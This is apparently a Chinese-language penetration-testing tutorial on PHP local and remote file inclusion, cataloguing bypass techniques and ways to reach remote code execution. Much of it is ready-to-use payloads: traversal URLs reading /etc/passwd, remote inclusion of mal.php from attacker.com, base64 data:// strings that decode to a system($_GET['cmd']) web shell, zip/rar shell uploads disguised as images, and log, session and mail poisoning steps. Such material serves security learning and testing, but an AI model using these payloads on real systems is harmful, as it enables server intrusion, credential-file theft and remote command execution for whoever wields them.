文件包含漏洞

文件包含漏洞

1.文件包含漏洞概述

当用户以某种方式控制即将由服务器加载的文件时,就会出现漏洞。

  • 远程文件包含(RFI): 从远程服务器加载文件。在php中,默认情况下禁用此功能(allow_url_include
  • 本地文件包含(LFI): 服务器加载本地文件

易受攻击的PHP函数:require、require_once、include、include_once


2.文件包含漏洞fuzz字典

1、Linux系统字典

https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/file_inclusion_linux.txt

2、Windows系统字典

https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/file_inclusion_windows.txt


3.LFI绕过

空字节 (%00)绕过

复制代码
http://example.com/index.php?page=../../../etc/passwd%00

这个问题自 PHP 5.4 起已解决

编码绕过

您可以使用非标准编码,如双重 URL 编码(等等):

复制代码
http://example.com/index.php?page=..%252f..%252f..%252fetc%252fpasswd
http://example.com/index.php?page=..%c0%af..%c0%af..%c0%afetc%c0%afpasswd
http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd
http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd%00

后端检查文件夹路径绕过

也许后端正在检查文件夹路径,可以使用如下方法进行绕过:

复制代码
http://example.com/index.php?page=utils/scripts/../../../../../etc/passwd

更改遍历序列

复制代码
http://example.com/index.php?page=....//....//....//etc/passwd
http://example.com/index.php?page=....\/....\/....\/etc/passwd
http://some.domain.com/static/%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c/etc/passwd

路径截断技术

路径截断是一种用于操纵Web应用程序中文件路径的方法。它经常被用来访问受限文件,通过绕过某些安全措施,这些措施会在文件路径末尾附加额外字符。其目标是构建一个文件路径,一旦被安全措施修改,仍然指向所需的文件。

Linux由于文件系统的特性,文件路径的各种表示可以被视为等效的,例如:

/etc/passwd/etc//passwd/etc/./passwd/etc/passwd/ 都被视为相同路径。


4.使用LFI漏洞探索文件系统

1、确定目录深度: 通过成功获取 /etc/passwd 文件(如果服务器基于Linux)来确定当前目录的深度。例如,URL 可能被构造如下,指示深度为三:

复制代码
http://example.com/index.php?page=../../../etc/passwd

2、探测文件夹: 将疑似文件夹的名称(例如,private)附加到URL,然后导航回到 /etc/passwd。额外的目录级别需要将深度增加一级,此时的目录深度为四:

复制代码
http://example.com/index.php?page=private/../../../../etc/passwd

此时解释结果,利用服务器的响应探测文件夹是否存在:

  • 错误 / 无输出: 文件夹 private 可能不存在于指定位置。
  • /etc/passwd 的内容: 确认存在 private 文件夹。

3、递归探索: 可以进一步探查已发现的文件夹,以查找子目录或文件,使用相同的技术或传统的本地文件包含(LFI)方法。

4、要在文件系统中不同位置探索目录,需要相应调整有效载荷。例如,要检查 /var/www/ 是否包含 private 目录(假设当前目录深度为 3),请使用:

复制代码
http://example.com/index.php?page=../../../var/www/private/../../../etc/passwd

5.远程文件包含RFI

在 php 中,默认情况下会禁用远程文件包含这个功能,因为 allow_url_include 默认是 Off。它必须被设置为 On 才能工作,在这种情况下,你可以包含来自你的服务器的 PHP 文件并获得 RCE:

复制代码
http://example.com/index.php?page=http://atacker.com/mal.php
http://example.com/index.php?page=\\attacker.com\shared\mal.php

如果由于某种原因allow_url_include被设置为On,但PHP正在过滤对外部网页的访问,你可以使用数据协议与base64来解码一个base64 PHP代码并获得RCE:

复制代码
PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.txt

最后添加 +.txt 是因为攻击者需要一个以 .txt 结尾的字符串,因此字符串以它结尾,在经过 base64 解码后,该部分将只返回垃圾内容,而真正的 PHP 代码将被包含

另一个示例不使用 php:// 协议的例子是:

复制代码
data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+txt

6.使用 PHP 包装器和协议的 LFI / RFI

PHP过滤器概述

PHP 过滤器允许在数据被读取或写入之前执行基本的修改操作。有 5 类过滤器:

1、字符串过滤器

  • string.rot13
  • string.toupper
  • string.tolower
  • string.strip_tags: 从数据中删除标签(位于 "<" 和 ">" 字符之间的所有内容)

2、转换过滤器

  • convert.base64-encode
  • convert.base64-decode
  • convert.quoted-printable-encode
  • convert.quoted-printable-decode
  • convert.iconv.*:转换为不同的编码(convert.iconv.<input_enc>.<output_enc>)。要获取支持的所有编码列表,请在控制台中运行:iconv -l

滥用 convert.iconv.* 转换过滤器,您可以生成任意文本,这可能对编写任意文本或执行包含过程中的任意文本很有用

3、压缩过滤器

  • zlib.deflate: 压缩内容(如果需要外泄大量信息,则很有用)
  • zlib.inflate: 解压数据

4、加密过滤器

  • mcrypt.*:已弃用
  • mdecrypt.*:已弃用

5、其他过滤器

  • 在 php 中运行 var_dump(stream_get_filters());,您可以找到一些意外的过滤器:
  • consumed
  • dechunk:反转 HTTP 分块编码
  • convert.*

php://fd

此包装器允许访问进程打开的文件描述符。可能有用于外泄已打开文件的内容:

php 复制代码
echo file_get_contents("php://fd/3");
$myfile = fopen("/etc/passwd", "r");

你也可以使用 php://stdin, php://stdoutphp://stderr 来分别访问 文件描述符 0, 1 和 2

zip:// 和 rar://

此协议可以上传一个包含 PHPShell 的 Zip 或 Rar 文件并访问它

zip模式的攻击步骤如下:

bash 复制代码
echo "<pre><?php system($_GET['cmd']); ?></pre>" > payload.php;
zip payload.zip payload.php;
mv payload.zip shell.jpg;
rm payload.php
# 之后构造文件包含payload如下:
http://example.com/index.php?page=zip://shell.jpg%23payload.php

rar模式的攻击步骤如下:

bash 复制代码
rar a payload.rar payload.php;
mv payload.rar shell.jpg;
rm payload.php
# 之后构造文件包含payload如下:
http://example.com/index.php?page=rar://shell.jpg%23payload.php

data://

data://伪协议可用于将数据直接嵌入到网页中,而无需通过HTTP请求。这种技术可用于利用文件包含漏洞,将恶意数据注入到受影响的网页中

此协议受 php 配置 allow_url_openallow_url_include 限制

复制代码
http://example.net/?page=data://text/plain,<?php echo base64_encode(file_get_contents("index.php")); ?>
http://example.net/?page=data://text/plain,<?php phpinfo(); ?>
http://example.net/?page=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4=
http://example.net/?page=data:text/plain,<?php echo base64_encode(file_get_contents("index.php")); ?>
http://example.net/?page=data:text/plain,<?php phpinfo(); ?>
http://example.net/?page=data:text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4=

expect://

Expect 必须被激活。之后可以使用以下方式执行代码:

复制代码
http://example.com/index.php?page=expect://id
http://example.com/index.php?page=expect://ls

input://

在POST参数中指定您的有效载荷:

bash 复制代码
curl -XPOST "http://example.com/index.php?page=php://input" --data "<?php system('id'); ?>"

更多协议

检查更多可能的要包含的协议:


7.文件包含RCE的技巧

通过Apache/Nginx日志文件

如果Apache或Nginx服务器受到LFI的影响,您可以尝试包含/var/log/apache2/access.log/var/log/nginx/access.log日志文件达到命令执行的效果,在用户代理或GET参数中设置一个像<?php system($_GET['c']); ?>的php shell并包含该文件

如果您在shell中使用双引号而不是单引号,双引号将被修改为字符串"quote;",PHP会在那里抛出错误,不会执行任何其他操作

其他可能的日志路径:

复制代码
/var/log/apache2/access.log
/var/log/apache/access.log
/var/log/apache2/error.log
/var/log/apache/error.log
/usr/local/apache/log/error_log
/usr/local/apache2/log/error_log
/var/log/nginx/access.log
/var/log/nginx/error.log
/var/log/httpd/error_log

通过电子邮件

发送一封邮件到内部账户 (user@localhost) 包含你的 PHP payload,例如 <?php echo system($_REQUEST["cmd"]); ?>,并尝试通过路径如 /var/mail/<USERNAME>/var/spool/mail/<USERNAME> 包含到用户的邮件中

通过Zip文件上传

上传一个包含压缩的PHP shell的ZIP文件并访问:
example.com/page.php?file=zip://path/to/zip/hello.zip%23rce.php

通过 /proc/*/fd/*

上传大量的 shells (例如:100)

包含 http://example.com/index.php?page=/proc/$PID/fd/$FD,其中 $PID = 进程的 PID (可以暴力破解),$FD 为文件描述符 (也可以暴力破解)

通过 PHP 会话

检查网站是否使用 PHP 会话(PHPSESSID)

复制代码
Set-Cookie: PHPSESSID=i56kgbsq9rm8ndg3qbarhsbm27; path=/
Set-Cookie: user=admin; expires=Mon, 13-Aug-2018 20:21:29 GMT; path=/; httponly

在PHP中,这些会话被存储在/var/lib/php5/sess_[PHPSESSID]文件中

将cookie设置为 <?php system('cat /etc/passwd');?>

接着使用本地文件包含(LFI)来包含PHP会话文件:

复制代码
login=1&user=admin&pass=password&lang=/../../../../../../../../../var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm2

通过 vsftpd 日志

FTP 服务器 vsftpd 的日志位于 /var/log/vsftpd.log。在存在本地文件包含(LFI)漏洞且可以访问到暴露的 vsftpd 服务器的情况下,可以考虑以下步骤:

  • 在登录过程中将 PHP 负载注入到用户名字段。
  • 注入后,利用 LFI 从 /var/log/vsftpd.log 检索服务器日志以进行RCE利用。

通过 compress.zlib + PHP_STREAM_PREFER_STUDIO + 路径泄露

使用协议 compress.zlib:// 和标志 PHP_STREAM_PREFER_STDIO 打开的文件可以继续将到达连接的数据写入同一文件

php 复制代码
file_get_contents("compress.zlib://http://attacker.com/file")

这将发送一个请求,请求http://attacker.com/file,然后服务器可能会用一个有效的HTTP响应来回应该请求,保持连接打开,并在稍后发送额外数据,这些数据也会被写入文件。

CTF原题解题思路:

  • 攻击者将使受害者服务器打开一个连接,从攻击者服务器读取文件,使用compress.zlib协议。
  • 在这个连接存在的时候,攻击者将窃取临时文件的路径(被服务器泄露)。
  • 在连接仍然打开的情况下,攻击者将利用LFI加载他控制的临时文件。
  • 然而,Web服务器中有一个检查,阻止加载包含 <? 的文件。因此,攻击者可以尝试竞争条件绕过。在仍然打开的连接中,攻击者将在Web服务器检查文件是否包含被禁止字符之后发送PHP有效载荷,但在加载其内容之前。
相关推荐
用户962377954483 小时前
DVWA 靶场实验报告 (High Level)
安全
数据智能老司机7 小时前
用于进攻性网络安全的智能体 AI——在 n8n 中构建你的第一个 AI 工作流
人工智能·安全·agent
数据智能老司机7 小时前
用于进攻性网络安全的智能体 AI——智能体 AI 入门
人工智能·安全·agent
用户962377954488 小时前
DVWA 靶场实验报告 (Medium Level)
安全
red1giant_star8 小时前
S2-067 漏洞复现:Struts2 S2-067 文件上传路径穿越漏洞
安全
用户9623779544812 小时前
DVWA Weak Session IDs High 的 Cookie dvwaSession 为什么刷新不出来?
安全
cipher2 天前
ERC-4626 通胀攻击:DeFi 金库的"捐款陷阱"
前端·后端·安全
一次旅行5 天前
网络安全总结
安全·web安全
DianSan_ERP5 天前
电商API接口全链路监控:构建坚不可摧的线上运维防线
大数据·运维·网络·人工智能·git·servlet
red1giant_star5 天前
手把手教你用Vulhub复现ecshop collection_list-sqli漏洞(附完整POC)
安全